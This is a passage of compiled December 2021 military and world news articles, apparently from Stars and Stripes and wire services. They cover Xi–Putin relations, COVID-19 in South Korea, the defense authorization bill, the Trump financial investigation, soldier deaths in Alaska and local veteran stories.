one. The track can be modified and configured throughout the year, Bosch and Burns said. Its open daily during daylight hours and admission is free. I think the community needs it, Burns said. You know Japan is into R/C cars, theres lots of tracks out here. I grew up racing R/C cars since I was 5 and it was important to me to have that connection with my dad and to do something fun together. The area around Camp Zama offers few options for R/C enthusiasts, Burns said, so the base track is a gold mine of opportunity. I think bringing that to the community here, especially during the COVID era, when we couldnt really leave or go far, is a great opportunity for kids and parents to have fun together in a local community, Burns said. A composite photo shows Chinese President Xi Jinping, right, attending a virtual meeting in Beijing, on Wednesday, Dec. 15, 2021, with Russian President Vladimir Putin who attended the videoconference from Moscow. (Yin Bogu/Chinas Xinhua News Agency via AP) Chinese President Xi Jinping hailed relations with Russia as better than an alliance in a video call with President Vladimir Putin, according to the Kremlin, as the two leaders made a show of solidarity amid rising tensions with the West. Xi said that although they are not allied, their effectiveness even exceeds this level, Kremlin foreign policy aide Yuri Ushakov told reporters at a briefing after Wednesdays call. Such a figurative expression very accurately reflects the essence of what is happening now in relations between our two countries. Calling Putin an old friend, Xi said the Russian leader had firmly supported China in defending its core interests and opposed attempts to divide China and Russia, Chinese state broadcaster CCTV reported. I highly commend this, Xi told Putin, adding hes willing to roll out new plans for cooperation in various areas. The high-level dialogue came a week after Putin and U.S. President Joe Biden held a video summit aimed at defusing the crisis over Ukraine thats been sparked by a massive Russian troop build-up on the border with its neighbor. The U.S. has told European allies that Russia may be making preparations for an invasion of Ukraine as soon as next month, something the Kremlin denies. Putin has since spoken by phone to a string of western leaders including French President Emmanuel Macron and U.K. Prime Minister Boris Johnson, and underlined Russian demands for binding security guarantees against further eastward expansion by the North Atlantic Treaty Organization. Russia handed its proposals on European security to U.S. Assistant Secretary of State Karen Donfried at talks in Moscow on Wednesday, Ushakov said. Xi raised his concerns with Putin about U.S. activities in the Asia-Pacific region, including the formation of the AUKUS partnership with Australia and the U.K. that undermines the foundations of nuclear non-proliferation in the region, according to Ushakov. The close coordination between Russia and China on the international arena, the responsible joint approach to solving urgent global issues, have become a stabilizing factor in international affairs, Putin said at the start of the call in comments shown on Russian state television. He described their relations as a true model of interstate cooperation for the 21st century. Kremlin spokesman Dmitry Peskov said Tuesday that Putin planned to discuss the Ukraine tensions with Xi as allies. Biden has proposed talks between Russia, the U.S. and other key NATO members, but its not clear if the West is ready to meet Putins demands. The Kremlin has accused Ukraine of sabotaging a 2015 peace deal and planning to use force against Russian-backed separatists in the countrys east. Ukraine denies that. An aerial view of the USS Arizona and Battleship Missouri Memorials at Ford Island, Joint Base Pearl Harbor-Hickam, Hawaii. Diamond Head, Honolulu and Waikiki are in the distance. (Johans Chavarro/U.S. Navy) HONOLULU (Tribune News Service) Repairs on the now-closed USS Arizona Memorial shoreside dock will begin Wednesday after Navy crews determined that the best course of action is to remove the damaged dock ramp via crane to fix another broken coupling, the National Park Service said today in a release. The park service said it was alerted to the faulty connection Sunday and "in the interest of public and resource safety, the decision was made to suspend public programs via the U.S. Navy white boats to the USS Arizona Memorial." The shoreside dock, which is used to embark passengers for the short boat ride to the memorial over the sunken battleship, was down for 17 days in September. A steel collar that connects the dock to the ramp bridge had been severed as a result of wake and tidal movement. The ramp had slid and was in danger of falling into the water, officials said. "The (new) issue is located in the same area as the previous shoreside dock issue was. It's not the steel collar, but it's in the same general area," said park service spokeswoman Emily Pruett. Once the repairs are complete the dock ramp will be re-installed and undergo stress tests, which include allowing the USS Arizona Navy detachment to practice docking and departing with the white boats. "Operations will resume when National Park Service and U.S. Navy personnel deem conditions safe enough for the white boats to use the shoreside dock," the park service said. The Pearl Harbor Visitor Center grounds, museums, and park film (on the open-air lanai) are still accessible, officials noted. Visitors can still participate in the Pacific Historic Parks audio tour and visit the Pacific Fleet Submarine Museum, Pearl Harbor Aviation Museum, and the Battleship Missouri Memorial. (c)2021 The Honolulu Star-Advertiser Visit The Honolulu Star-Advertiser at www.staradvertiser.com Distributed by Tribune Content Agency, LLC. South Korean Prime Minister Kim Boo-kyum inspects the COVID-19 quarantine area at Incheon International Airport, Dec. 6, 2021. (Office of the Prime Minister) CAMP HUMPHREYS, South Korea South Korean health authorities reported 7,850 new COVID-19 cases from Tuesday, the countrys highest daily uptick since the start of the coronavirus pandemic, prompting policy makers to consider stricter social distancing measures. The countrys previous daily high was 7,174 new infections on Dec. 7. Wednesdays number had not been released as of 5 p.m. South Korean President Moon Jae-in last week described the increasing caseload as a rigorous situation exacerbated by the new omicron variant, which has been detected in over 100 people in the country, according to the Korea Disease Control and Prevention Agency. The next four weeks from now is a critically important time, Moon said during a cabinet meeting Dec. 7. Once again, we ask the peoples active participation in vaccination. The KDCA also reported a new record of 964 hospitalizations of patients with moderate to severe symptoms, up from 906 on Monday. Around 40% of the new cases reported Tuesday, 3,166, stemmed from Seoul. Another 2,299 cases, or 30%, were reported from Gyeonggi province, the home of Camp Humphreys and Osan Air Base. Prime Minister Kim Boo-kyum on Wednesday said the government was exploring new social distancing measures amid the surge of new cases, including reducing business hours and lowering the limit on the number of people permitted in public gatherings. Despite efforts to curb the spread in recent weeks, health officials grew extremely frustrated with almost no improvement in anti-epidemic indicators," Kim said. Although we strengthened quarantine measures, including the reduction of the number of personnel who hold private gatherings and the expansion of vaccine pass, the degree of risk throughout the country has been assessed very high for three consecutive weeks, he said. The looming changes follow the postponement of the governments Living with COVID-19 scheme unveiled last month that would have gradually rolled back social distancing measures. Under the plan, the restrictions would have been eased over three, four-week phases. The plan was eventually delayed after an uptick of new cases during the first phase in November. Nearly 84% of the countrys 51 million people has received the first dose of a vaccine and 81.4% are fully vaccinated as of Wednesday, according to the KDCA. Over 7.9 million people have received a booster shot. U.S. Forces Korea, the command responsible for roughly 28,500 troops on the peninsula, reported 24 new cases between Nov. 30 and Dec. 6. USFK announced on Dec. 3 it would begin imposing a 10-day quarantine for inbound personnel in light of the host nations updated COVID-19 measures. Stars and Stripes reporter Yoo Kyong Chang contributed to this report. Yoo Kyong Chang David Choi This screenshot from a YouTube video shows Spc. Hunter Trey Stafford, 21, who was found dead at his home in Fairbanks, Alaska, Dec. 8, 2021. He was an aircraft powerplant repairer with the 1st Battalion, 25th Aviation Regiment at Fort Wainwright. (YouTube) A 21-year-old Army aircraft mechanic with a passion for four-wheeling and Chevrolets was found dead Dec. 8 in his off-post home in Fairbanks, Alaska, the Army said in a news release Tuesday. Spc. Hunter Trey Stafford was an aircraft powerplant repairer with the 1st Battalion, 25th Aviation Regiment at Fort Wainwright. The Alaska State Troopers and Army Criminal Investigation Division are investigating the cause of death, the Army said. David Hosea, a longtime friend and fellow helicopter mechanic at Wainwright, told Stars and Stripes by phone on Tuesday that Stafford had always been a Chevy fanatic. He had a big Chevy Silverado that he bought, Hosea said. I remember the day he bought it he was so excited. He really, really loved off-roading. Most weekends well, even weekdays his biggest way of coping was four-wheeling and dirt-biking. He just loved to be behind the wheel of anything that had a motor. Stafford was also an insane mechanic, Hosea said. He just understood how things worked, he said. He wasnt much of a reader, but when it came to maintenance, he knew how to scrub the manual and find the answer he needed. He just understood the machines that we worked on so well. Stafford worked extremely hard as a mechanic, Lt. Col. Matthew Carlsen, commander of the 1st Battalion, said in the news release. A native of Munford, Tenn., Stafford joined the Army in January 2019. He trained at Fort Leonard Wood, Mo., and Fort Eustis, Va., before reporting to Alaska in September 2019. His awards and decorations include the National Defense Service Medal and the Army Service Ribbon. His death follows those this past month of three other Alaska-based soldiers, whose causes of death have not yet been made public by the Army. On Nov. 28, Sgt. Miles Jordan Tarron, 30, was discovered dead in his vehicle in Anchorage. Spc. Isaiah Nicholas Oneal, 22, was found dead in his vehicle in Fairbanks on Nov. 26. Sgt. Christian Joseph DAndrea, 22, was found dead in his off-post home in Fairbanks on Nov. 12. For the first time, three schools from the Department of Defense Education Activity have student-designed ornaments hanging on one of 58 trees surrounding the National Christmas Tree display in Washington, D.C. The DODEA tree displays 24 ornaments submitted by students at Vogelweh Elementary School in Germany, Humphreys High School in South Korea and Ramey Unit School in Aguadilla Puerto Rico. (Presidents Park/White House Visitor Center) KAISERSLAUTERN, Germany Holiday decorations in the U.S. capital have a touch of Tannenbaum thanks to American children in Germany who designed ornaments that are hanging alongside the National Christmas Tree. Students from Vogelweh Elementary School in Kaiserslautern are among the first from a Defense Department school to have their artwork included in the high-profile display. The artwork is part of the America Celebrates ornament program, a project funded by the National Park Foundation to highlight and celebrate the places that American students call home. The foundation collaborates with the National Park Service and the U.S. Department of Education to hold the annual program. For the first time, three schools from the Department of Defense Education Activity have student-designed ornaments hanging on one of 58 trees surrounding the National Christmas Tree display in Washington, D.C. (Presidents Park/White House Visitor Center) The Vogelweh students, who were chosen through a contest held at the school, drew castles and German and American flags together, among other things that represent their experience in Germany, said Edith Allison, the schools visual arts teacher. The ornaments created from the Vogelweh students drawings are hanging on one of 58 smaller trees surrounding the National Christmas Tree and will be on display through Jan. 1. President Joe Biden and first lady Jill Biden lit the 27-foot-tall fir earlier this month on the Ellipse in Presidents Park. Leaders in each of the Department of Defense Education Activitys three regions were asked to submit a school for participation, said Stephen Smith, a spokesman for DODEA Europe. Vogelweh was chosen because of the schools strong arts program, he said. Humphreys High School in South Korea and Ramey Unit School in Aguadilla, Puerto Rico, are also participating. The DODEA tree holds 24 ornaments, eight from each school. Each of Vogelwehs seven grades, from pre-kindergarten to fifth grade, could submit one design. To get to eight, the school took an additional design from first grade, which had luck on its side. We rolled the dice. It came up No. 1, Allison said. A Russian 9M728 cruise missile container, left, on the truck at center, stands next to a 9M723 short-range ballistic missile. (Russian Defense Ministry) Russias latest threat to deploy intermediate-range nuclear missiles in Europe if NATO doesnt make new promises has one hitch: the U.S.-led NATO alliance says Moscow has already activated such weapons. Moscow wants the U.S. to restart talks over the now defunct Intermediate-Range Nuclear Forces Treaty, which Washington pulled out of in 2019, saying that Moscow had already broken the Cold War-era agreement. The treaty put a ban on missiles with a range between 310 and 3,400 miles. It is not credible when (the Russians) now propose a ban on something they actually have already started to deploy, NATO Secretary-General Jens Stoltenberg told reporters Tuesday in Brussels. Stoltenbergs comments were in response to a new round of threats from Moscow, this time related to the status of intermediate-range nuclear range missiles in Europe. In an interview Monday with state-owned Russian news agency RIA Novosti, Deputy Foreign Minister Sergey Ryabkov warned that if the West doesnt agree to a moratorium on intermediate-range nuclear weapons, Moscow will be forced to position more weaponry near NATO borders. The absence of progress in the direction of a political-diplomatic solution to this problem will make it so that our response is military, Ryabkov said. That is, it will be a confrontation, the next round, the deployment of such tools from our side. The threats marked the latest in a series of warnings and tit-for-tat threats between Russia, the U.S. and its allies in NATO in connection with escalating tensions over Russias military buildup around Ukraine. The U.S. and NATO say Russias recently developed SSC-8 missile system violates the weapons ban and poses a new threat since it can reach European capitals within minutes. On Tuesday, Stoltenberg blamed Russia for the treatys demise, while also saying that NATO had no intention of countering Moscow by deploying similar nuclear-capable missiles in Europe. But Ryabkov said the U.S. Armys reactivation in early November of the 56th Artillery Command, which is based in Wiesbaden, Germany, is among the indirect indications to Russia that NATO intends to redeploy such weapons in Europe. He also dismissed statements to the contrary, saying that Russia regards the alliance with a complete lack of trust and does not believe in NATO assurances. (NATO leaders) dont allow themselves to do anything that could increase our security somehow, Ryabkov said. They believe they can act as they need to, according to their own advantage, and we simply have to swallow all of this and deal with it. This is not going to continue. Moscow has repeatedly denied that the missiles at issue violated the terms of the INF treaty. Stoltenberg said that the belief that the other side is acting in bad faith is mutual. We need to engage in arms control to prevent a new arms race, he said. But this particular proposal over (a) moratorium is not credible. Gen. David Berger, the 38th commandant of the Marine Corps, visits Camp Lejeune, N.C., on May 3, 2021. (Lance Cpl. Jennifer Reyes/U.S. Marine Corps) WASHINGTON Marines not just hypersonic missiles are key to preventing a conflict with China and its growing military arsenal, the top general for the Marine Corps said Tuesday. The standoff [with missiles] from 1000 miles away works right into [Chinas] strategy, Marine Corps Commandant Gen. David Berger said during an event at the Center for a New American Security, a liberal-leaning Washington-based think tank. We have to be in there [with troops], we have to be close-up and forward. In August, China successfully tested its first hypersonic missile a feat the United States is working toward but has not accomplished. Some lawmakers, such as Rep. Mike Gallagher, R-Wis., called the test a call to action for American arms development, urging more be done to field such weapons. The missiles, capable of flying five times the speed of sound, could be important in a future fight against China, but Berger said the Pentagon also cannot forget about its most precious assets its troops in preventing a war before it starts. The general said there are two arguments for countering China. The first calls for a standoff with China, where the two countries armed with precision-strike and long-range missiles keep each other at bay for fear of conflict. The other argues the U.S. should place its forces within a contested area to challenge Chinese operations. Berger said the answer lies somewhere in the middle. I'm convinced that you need both -- you need a whole defense in depth, he said. The standoff alone plays right into [Chinas] threat strategy. To advance his strategy, Berger released a document Dec. 1 outlining his plan for using stand-in forces as the Marine Corps continues to adjust its focus from counterinsurgency and counterterrorism operations to addressing near-peer adversaries such as China and Russia. Berger said the strategy was born out of discussions regarding how the conventional force -- not strategic, not nuclear [is] going to deter a peer adversary or a near-peer adversary. The idea is to disrupt an adversarys plans by sending small but lethal, low signature, mobile and relatively simple-to-maintain forces from the Marine Corps, Navy and Coast Guard into contentious regions such as the South China Sea, Berger wrote in a Dec. 1 report on the strategy. The small forces can then conduct better reconnaissance and counter-reconnaissance below the threshold of violence in contested areas, according to the report. This allows [the stand-in force] to assist in identifying and countering malign behavior, and if armed conflict does erupt, the joint force can attack effectively first and prevent the enemy from doing so, the report said. Berger said the strategys success lies in its counter to Chinas strategy, which has long involved restricting access in the South China Sea and operating unnoticed. Their effort is to make sort of a bubble a shield push us way, way out, and then they operate in here without being seen, he said. Thats perfect for them, so they want to do that over and over again. Thats why, Berger said, the standoff strategy of pitting the adversaries against each other should be a strategy of last resort. Standoff is what is the force that youre going to need to fight China and win? To me, that equals strategy failure, he said. If were fighting China, then our strategy has failed. Berger said the stand-in strategy will help stop a potential conflict before it happens by staying close in the region. What we should be asking is, what do we need to prevent conflict from happening? How are we going to assure our partners and allies every day, every week? How are we going to sense what's in front of us [and] every day, paint a picture of what the adversary is doing? he said. Stand-in answers a lot of questions. Caitlin Doornbos Caitlin Doornbos covers the Pentagon for Stars and Stripes after covering the Navys 7th Fleet as Stripes Indo-Pacific correspondent at Yokosuka Naval Base, Japan. Previously, she worked as a crime reporter in Lawrence, Kan., and Orlando, Fla., where she was part of the Orlando Sentinel team that placed as finalist for the 2017 Pulitzer Prize for breaking news. Caitlin has a Bachelor of Science in journalism from the University of Kansas and masters degree in defense and strategic studies from the University of Texas at El Paso. A longtime accountant for former President Donald Trump - who helped prepare Trumps taxes and the financial statements he used to woo lenders - testified recently before a New York grand jury investigating Trumps financial practices, according to two people familiar with that investigation. Accountant Donald Bender, of the firm Mazars, appeared before a grand jury that was impaneled this fall by Manhattan District Attorney Cyrus Vance, D, to weigh potential criminal charges, the people said. In addition, in recent weeks prosecutors have interviewed Rosemary Vrablic, a former managing director at Deutsche Bank who arranged hundreds of millions of dollars in loans to Trump, according to people familiar with the investigation. Vrablics interview was not before the grand jury. Instead, one person said, prosecutors pressed Vrablic about Trumps role in dealings with the bank. The people who described these interviews spoke on the condition of anonymity to describe an ongoing investigation. The appearances by Bender and Vrablic suggest prosecutors are seeking information about Trumps finances from a small circle of outside partners who handled details of Trumps taxes and real estate deals. Bender and Vrablic were never Trumps employees, but they knew more about his companys inner workings than many employees did. Prosecutors are investigating whether Trumps company broke the law by giving widely different valuations for the same property at the same time. In some cases, for instance, the Trump Organization provided low valuations to property-tax officials, while telling lenders that the same property was worth much more. Benders first appearance before the grand jury was brief, the people said. But they said Bender could return for more testimony in the coming weeks. His appearance could be significant because Bender handled vast amounts of Trumps financial information as an outside accountant. Prosecutors already obtained millions of pages of Trump-related documents from Benders firm, after a court battle that went to the Supreme Court twice. Now they have sought testimony from a man who could serve as a human road map to that data. This line of inquiry appears separate from the felony charges filed this summer against the Trump Organizations longtime chief financial officer, Allen Weisselberg, and two Trump corporate entities. Those charges focused on allegations of tax evasion in the Trump Organizations payrolls. Prosecutors said Weisselberg had concealed portions of executives pay - including his own - from the IRS. Weisselberg and the two companies have pleaded not guilty. Trump himself has not been accused of any crime. Spokespeople for Vance and New York Attorney General Letitia James, D, who is collaborating with Vance on the criminal probe, declined to comment. So did attorneys for Bender and Trump, and spokespeople for Mazars and Deutsche Bank. There are two separate, long-running investigations of Trumps financial practices in New York state. One is led by James, the attorney general, and it is civil in nature - meaning it could end in a lawsuit. In that investigation, James has already interviewed top Trump Organization employees, including Weisselberg and Trumps son Eric, according to court documents. She is now seeking to take a deposition of Trump himself in early January. The other investigation is led by Vance, in collaboration with James. It is criminal in nature, meaning it could end in misdemeanor or felony charges. That investigation is about to have a new leader: Vance is leaving office at the end of the month, to be replaced by newly elected Alvin Bragg, D. If Vance or Bragg ever seek to file charges against Trump himself, they will face a high burden of proof. They would need to do more than simply prove the Trump Organizations numbers were wrong. They would need to show why they were wrong - to prove Trump intended to deceive. That proof is unlikely to come from an email. Trump has never used email, either as a businessman or as a politician, employees have said. Instead, legal experts said, any evidence of Trumps intent would have to come from someone close to him, who could report what he said about his finances, and why. That is a small circle. Weisselberg was in it. But so far, there has been no indication that he has cooperated with the district attorneys investigation. Weisselbergs lawyer declined to comment Tuesday. Now prosecutors appear to have expanded their focus to a small set of outside advisers who were not Trump employees but still handled details of Trumps finances. Last year, for instance, Jamess investigators interviewed Sheri Dillon, an outside attorney who worked with Trump on tax and real estate issues, according to court filings. Vrablic, meanwhile, dealt with many of Trumps largest business loans. Vrablic left Deutsche Bank last December, according to regulatory filings. Vrablic said at the time that the departure was her decision. When Vrablic met with Vances staff, one of the people said, prosecutors asked Vrablic about Trumps personal role in dealing with the bank. An attorney for Vrablic declined to comment. For Bender, Trumps longtime accountant, even his brief appearance before the grand jury had legal significance. Under New York law, witnesses before a grand jury are automatically granted immunity from prosecution - meaning that Bender could not be charged for his work for Trump. Bender has provided a wide array of accounting services to Trump for decades. At his firm, Bender led a select group of tax experts who managed Trumps affairs, wrote former Mazars accountant Henry Kogan in 2017 in an essay on a literary website. Donalds entire professional existence revolved around one client, that clients organization, and the hundreds of entities represented inside an IRS form, Kogan wrote. Bender personally signed the tax forms for Trumps charitable foundation until it shut down in 2018, following a lawsuit by the New York attorney general that said the charity engaged in persistently illegal conduct. Trump was ordered to pay $2 million in damages. Neither Bender nor the firm were accused of any wrongdoing. Beginning in at least 2003, Benders firm has also compiled Trumps statements of personal financial condition that the future president circulated among journalists and others to brag about his finances. The documents listed Trumps business assets but frequently contained inflated figures, such as claiming more home lots or acres or office floors than his properties actually had, while omitting some liabilities, such as bank debts, according to copies of the documents. Bender was questioned in court proceedings about those statements as part of Trumps lawsuit against journalist Timothy OBrien. Asked by a defense attorney whether Trumps 2003 statements were subjective or not, Bender said that the accountants did not audit these numbers - they took Trumps assertions about the values of his properties and wrote them up, without checking to see if they matched reality. Do you believe that different people could reach different conclusions about the valuation of the same property? an attorney for OBrien asked. I dont - its not my area - Im not an appraiser. Its not my job, Bender said. The entrance to Camp Lejeune is show in this undated file photo. (The Gaston Gazette/TNS) (Tribune News Service) Three of North Carolinas military bases can continue making upgrades and improvements because of funding provided by the passage of the National Defense Authorization Act. Members of Congress have spent months working on the bill that provides a 2.7% raise for service members, allows up to two weeks off for bereavement of a spouse or child, provides parental leave up to 12 weeks and reexamines how the military handles cases of sexual assault and harassment. The U.S. House passed the original version of the bill in September but it stalled out once it reached the Senate. Lawmakers worked to garner enough support to send it to the president for his approval, but couldnt get that version of the bill through the Senate. Last week, they reached a compromise and introduced a new version that quickly passed through the House. The Senate then passed the bill Wednesday, sending it to President Joe Biden who is expected to sign it. The new bill kept the funding for North Carolinas bases, which Sen. Thom Tillis, a member of the Senate Armed Services committee, called a big win for North Carolinas servicemembers and our military families in a news release Wednesday. Money for Fort Bragg, Camp Lejeune, Cherry Point The funding benefits three military bases in North Carolina: Camp Lejeune, Marine Corps Air Station Cherry Point and Fort Bragg. I was proud to lead multiple successful bipartisan efforts, including providing a pay raise for our servicemembers and expanded options to improve the lives of military families, Tillis said in the release. Since being elected, one of my top priorities has been ensuring Fort Bragg, Camp Lejeune, Cherry Point, New River, and Seymour Johnson have the resources they need as they continue to play an important role in protecting the nation. Nearly all of North Carolinas congressional delegation voted in favor of the bill, including Republicans Tillis and Sen. Richard Burr. As Fort Braggs Congressman, supporting our troops, their families, and veterans is a top priority, Rep. Richard Hudson said in a news release. This defense bill provides needed investments for Fort Bragg and military families, while excluding Democrat-led provisions like red flag laws which threatened the Second Amendment. I will continue working to support our troops, their families, and our rights. The bill awards Camp Lejeune $42.4 million to construct the II Marine Expeditionary Force Operations Center. Camp Lejeune broke ground in June on the 180,000-square-foot operations building that is expected to be completed in 2024. Currently, the operations building is housed in a converted military hospital built in 1942. A news release about the groundbreaking ceremony said the building is essential to war fighting, planning and coordinating forward deployed units. The bill also awards $120.1 million to MCAS Cherry Point with $57.9 million funding an aircraft maintenance hangar and $30 million going to the modernization of flight line utilities for the F-35 fighter jet that includes updating the fire protection lines, communication lines and fuel distribution, among other things. It also includes $10 million for an F-35 sustainment center and $18.7 million for an air traffic control tower and airfield operations. Fort Bragg would receive $27.2 million with $7.7 million going to an emergency water system and $19.5 million allocated for a 10-megawatt microgrid using existing and new generators. This is not a perfect bill but overall it is a win for our troops, military families and veterans, said Hudson, a Concord Republican. Opposition over vaccines Despite the benefits to North Carolinas military bases, one member of North Carolinas congressional delegation opposed the bills passage: U.S. Rep. Dan Bishop. Bishop took issue with the bill for not doing away with the militarys requirement for its members to get COVID-19 vaccines. He has now voted in opposition to both versions of the bill. The Charlotte Republican said in a news release that he appreciated Republican negotiators who removed the red flag laws from the bill, which he said would have allowed the secretary of defense the power to label any service member an extremist. Red flag laws allow police and family members the ability to petition the courts to have guns taken from anyone deemed a threat to themselves or others. I am grateful Republicans were able to remove such radical agenda items, Bishop said. However, I could not in good conscience vote to allow Bidens vaccine mandate against our troops to remain in place, even as federal courts continue to strike down these unconstitutional mandates across the board. Americas service members deserve better treatment than Democrats are willing to give. 2021 McClatchy Washington Bureau. Visit mcclatchydc.com. Distributed by Tribune Content Agency, LLC. 1st Lt. Michelle Torres teaches Army medics in Los Angeles about the variety of syringes used for a coronavirus vaccination. (Garrison Waites/U.S. Army) (Tribune News Service) Kansas Sen. Roger Marshall succeeded on Wednesday in his effort to restrict how members of the military who refuse to get vaccinated against COVID-19 are punished. Marshall was able to add language to the National Defense Authorization Act the bill that funds the military to say that people fired from the military for refusing the vaccine must be honorably discharged or discharged under honorable conditions. Honorable discharges are usually reserved for people who were rated good or excellent for their service. It means service members who are discharged for refusing the vaccine would still be eligible for most of their military benefits. Unfortunately the sledgehammer policy of the White House says that one size has to fit all, Marshall said on the floor of the Senate before Thanksgiving, arguing for his provision. They refuse to consider natural immunity. The provision is added as thousands of members of the military have refused to get the vaccine, even as the threat of another surge in cases from the Omicron variant looms. In arguing for the provision, Marshall muddied the ways in which someone can be discharged by the military. There are five different types of discharges from the military: honorable discharges, general discharges, other than honorable discharges, bad conduct discharges and dishonorable discharges. On the floor of the Senate, Marshall talked about some of the consequences of a dishonorable discharge which is the most severe discharge and can only happen if someone is court martialed. It is unlikely members of the military will be court martialed, which usually is reserved for crimes like murder and treason, for refusing the vaccine. The Army, for example, has said soldiers who dont get vaccinated without an exemption could face suspension, a reprimand or be removed from promotion lists. The Marine Corps has said members will be separated from the service for refusing the vaccine. So far they have not granted any religious exemptions. Were just taking that worst case scenario off the table, said Sen. Kevin Cramer, a Republican from North Dakota, who cosponsored the amendment. That relieves the commanders, it relieves the Department of Defense, it relieves even the joint chiefs of staff from making a different decision. And they should be relieved with that relief. Defense Secretary Lloyd Austin announced the vaccine requirement for the military in late August. The Air Force announced a 97 percent vaccination rate on Nov. 3, the day after the deadline it set for active duty members to get vaccinated. Earlier this week, the Air Force discharged 27 members for refusing to get the vaccine. They are the only branch of the military that has discharged members. The Navy and U.S. Marine Corps required active duty members to be vaccinated by Nov. 28. The Army is requiring active duty members to be vaccinated by Dec. 15. Marshall has been an adamant opponent of COVID-19 vaccine mandates, arguing that there is not enough recognition for immunity that may have been acquired from previous infection with COVID-19. He has previously said the government is bullying members of the military by requiring them to get vaccinated. Members of the military are required to get vaccinated against several diseases prior to joining the military, but Marshalls amendment only applies to the COVID-19 vaccine. Supporters of the amendment have argued that the COVID-19 vaccine is different because service members didnt know they would be required to get it prior to volunteering to serve. Marshall has made COVID-19 a top priority in his first year as a U.S. senator and has pushed for the government to look into the origins of the virus. 2021 McClatchy Washington Bureau. Visit mcclatchydc.com. Distributed by Tribune Content Agency, LLC. The bill includes multiple sections ordering close study of traditional and emerging threats, from adversary nations like Russia and China all the way to the undefined corners of outer space. It orders the Pentagon to report to Congress on a grand strategy for countering China, the testing and development of hypersonic missiles, threats posed by unidentified aerial phenomena, and the pattern of mysterious debilitating incidents afflicting U.S. diplomats and spies abroad whats become known as Havana syndrome (Ridge Shan/Air Force) WASHINGTON The Senate on Wednesday gave its approval to a record-setting $768 billion defense authorization bill, readying it for President Joe Bidens expected signature. The bill contains several historic measures, including provisions to move prosecutions of sexual assault and related crimes involving military personnel outside their chain of command, and instructions to establish an independent commission that will scrutinize the legacy and errors of the 20-year Afghanistan war. The 16-member panel, which the bill tasks with producing a report within three years, would be selected in equal measure by Republican and Democratic lawmakers, with all current and former members of Congress and high-ranking defense officials dating back to 2001 precluded from participation. The bill includes multiple sections ordering close study of traditional and emerging threats, from adversary nations like Russia and China all the way to the undefined corners of outer space. It orders the Pentagon to report to Congress on a grand strategy for countering China, the testing and development of hypersonic missiles, threats posed by unidentified aerial phenomena, and the pattern of mysterious debilitating incidents afflicting U.S. diplomats and spies abroad whats become known as Havana syndrome. The defense authorization bill received a 89 to 10 vote in the Senate, after earning the support of more than 80% of the House last week. Yet despite sailing through those votes, the legislation has been mired in controversy due to a series of major policy ventures left out of the final draft, despite having the support of a majority of both houses of Congress. The bill steers clear of repealing the Iraq War authorization from 2002 a move widely supported in the Senate that already received the backing of the House in a separate vote. Officials say the authorization has not been used as sole justification for any operation in years, though it was cited in part by the Trump administration in last years drone strike that killed Iranian Quds Force commander Qasem Soleimani. Negotiators of the defense bill also stripped a provision that would have included women in any future military drafts, by requiring them to register with the Selective Service System. Though there has not been a draft since 1972, the change was seen by its many bipartisan supporters as an acknowledgment that women, who are no longer restricted from holding certain combat jobs, are a vital and equal part of the fighting force. The omission prompting the most backlash sought a broader overhaul of the military justice system, one that would have put a longer roster of crimes under the purview of an independent prosecutor, and mandated more stringent separation between commanders and courts-martial for such offenses. The defense bill orders the military to establish an independent prosecutors office within two years that would be tasked with bringing sexual assault and related offenses, murder, kidnapping and child pornography charges to court-martial. It also turns sexual harassment into a chargeable offense. But the bill leaves the convening authority for such courts-martial in the chain of command. While proponents have argued that the commanders continued role is formulaic, as the prosecutors charging recommendations are binding, critics have pointed out the potential for problems. Commanders could dismiss charges prematurely, they have argued, or select juries biased against the victim. Sixty-six senators and a majority of the House had previously co-sponsored more expansive legislation penned by Sen. Kirsten Gillibrand, D-N.Y., which would have put the responsibility for convening courts martial in the hands of an independent channel as well. Gillibrands proposal also would have applied to any crime carrying a maximum sentence of a year or more a scope that was seen as a means of tackling issues of prosecutorial discrimination for a wider spectrum of minority groups. Earlier this year, Paul Martin of Lyndeborough, N.H., noticed that many of the signs marking the states Purple Heart Trail had become faded and difficult to read. The 70-year-old Army veteran of the Vietnam War, who was awarded the Purple Heart a half-century ago, took it upon himself to get the old signs replaced with new ones. (Will Cox/U.S. Army) (Tribune News Service) Mission accomplished. Earlier this year, Paul Martin of Lyndeborough, N.H., noticed that many of the signs marking the state's Purple Heart Trail had become faded and difficult to read. The 70-year-old Army veteran of the Vietnam War, who was awarded the Purple Heart a half-century ago, took it upon himself to get the old signs replaced with new ones. He also ordered additional signs to honor New Hampshire veterans who had not been recognized previously. In February, Martin was diagnosed with pancreatic cancer. He has been undergoing chemotherapy at Massachusetts General Hospital. Calling it his "final project," Martin vowed to finish the trail, using funds previously raised for that purpose by the now-defunct state chapter of the Military Order of the Purple Heart. Last week, Martin was on hand when the trail marker on Route 3 at the Massachusetts border in Nashua was dedicated. Joining him for the occasion was his friend Claude Anshin Thomas, a Buddhist monk now living in Florida, whose name appears on the sign. Martin said he was glad to see the trail dedicated. "It really means a lot," he said Tuesday. "I really didn't know whether I was going to be able to get it done myself or if my son was going to have to get it done." All 50 states, plus Puerto Rico and Guam, have designated Purple Heart Trails. In New Hampshire, the original Purple Heart Trail runs the length of Interstate 95 from Seabrook to Portsmouth and then heads west on Route 4 through Durham and across the state to Lebanon. Lawmakers added the "Buckingham Spur," the portion of Route 3 that leads to the New Hampshire State Veterans Cemetery in Boscawen. It was named after Byron Buckingham, a World War II veteran who had worked with legislators to create the trail here. In 2012, another state law added all of Route 3, from the Massachusetts line to the Canadian border, to the Purple Heart Trail. Martin said he hopes to be able to travel to Pittsburg in the spring to dedicate the northern end of the Purple Heart Trail, "if the guy upstairs gives me some time." swickham@unionleader.com (c)2021 The New Hampshire Union Leader (Manchester, N.H.) Visit The New Hampshire Union Leader (Manchester, N.H.) at www.unionleader.com Distributed by Tribune Content Agency, LLC. Retired Army Reserve Capt. Le Roy Torres deployed to Balad, Iraq, in late 2007. During his year downrange, Torres lived and worked near a burn pit, where the U.S. military burned anything no longer needed, such as medical waste, vehicle parts, computers and office supplies. Breathing in the toxic fumes from the burn pit led to numerous medical problems for Torres. (Le Roy Torres) WASHINGTON (Tribune News Service) The Supreme Court will decide whether Congress can give military service members the right to file civil lawsuits against states for employment discrimination based on their military service, in a case about how much power lawmakers have regarding military forces. The justices announced Wednesday they will hear a lawsuit filed by Le Roy Torres, a state trooper for the Texas Department of Public Safety who returned from active duty with the U.S. Army Reserve in Iraq with lung damage from toxic burn pits. Torres says the department declined his request for reemployment in a different position because his constrictive bronchiolitis prevented him from performing his duties as a state trooper. He resigned, and then filed a lawsuit 